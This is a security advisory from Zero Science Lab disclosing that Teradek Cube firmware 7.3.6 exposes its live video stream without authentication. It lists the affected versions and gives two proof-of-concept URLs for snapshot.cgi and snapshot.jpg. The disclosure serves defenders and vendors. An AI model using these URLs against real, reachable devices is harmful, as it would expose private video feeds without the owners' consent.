Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure

2018.05.22

LiquidWorm (MK)

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure
Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.6 (build 26850)
Hardware Version: 1.5
Teradek Firmware Version 7.3.15
Summary: Cube packs world-class video quality into a rugged, portable
chassis for quick IP video deployments at any location. Each encoder
and decoder includes HDMI and 3G-SDI I/O, Ethernet / WiFI connectivity,
and full duplex IFB.
Desc: Cube suffers from an unauthenticated and unauthorized live stream
disclosure when snapshot.cgi script is called.
Tested on: lighttpd/1.4.31
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5463
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5463.php
02.03.2018
--
http://127.0.0.1:8089/cgi-bin/snapshot.cgi <-- Generate new and view (redirects to /snapshot.jpg)
http://127.0.0.1:8089/snapshot.jpg <-- View stored

References:

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5463.php

See this note in RAW Version

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Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure

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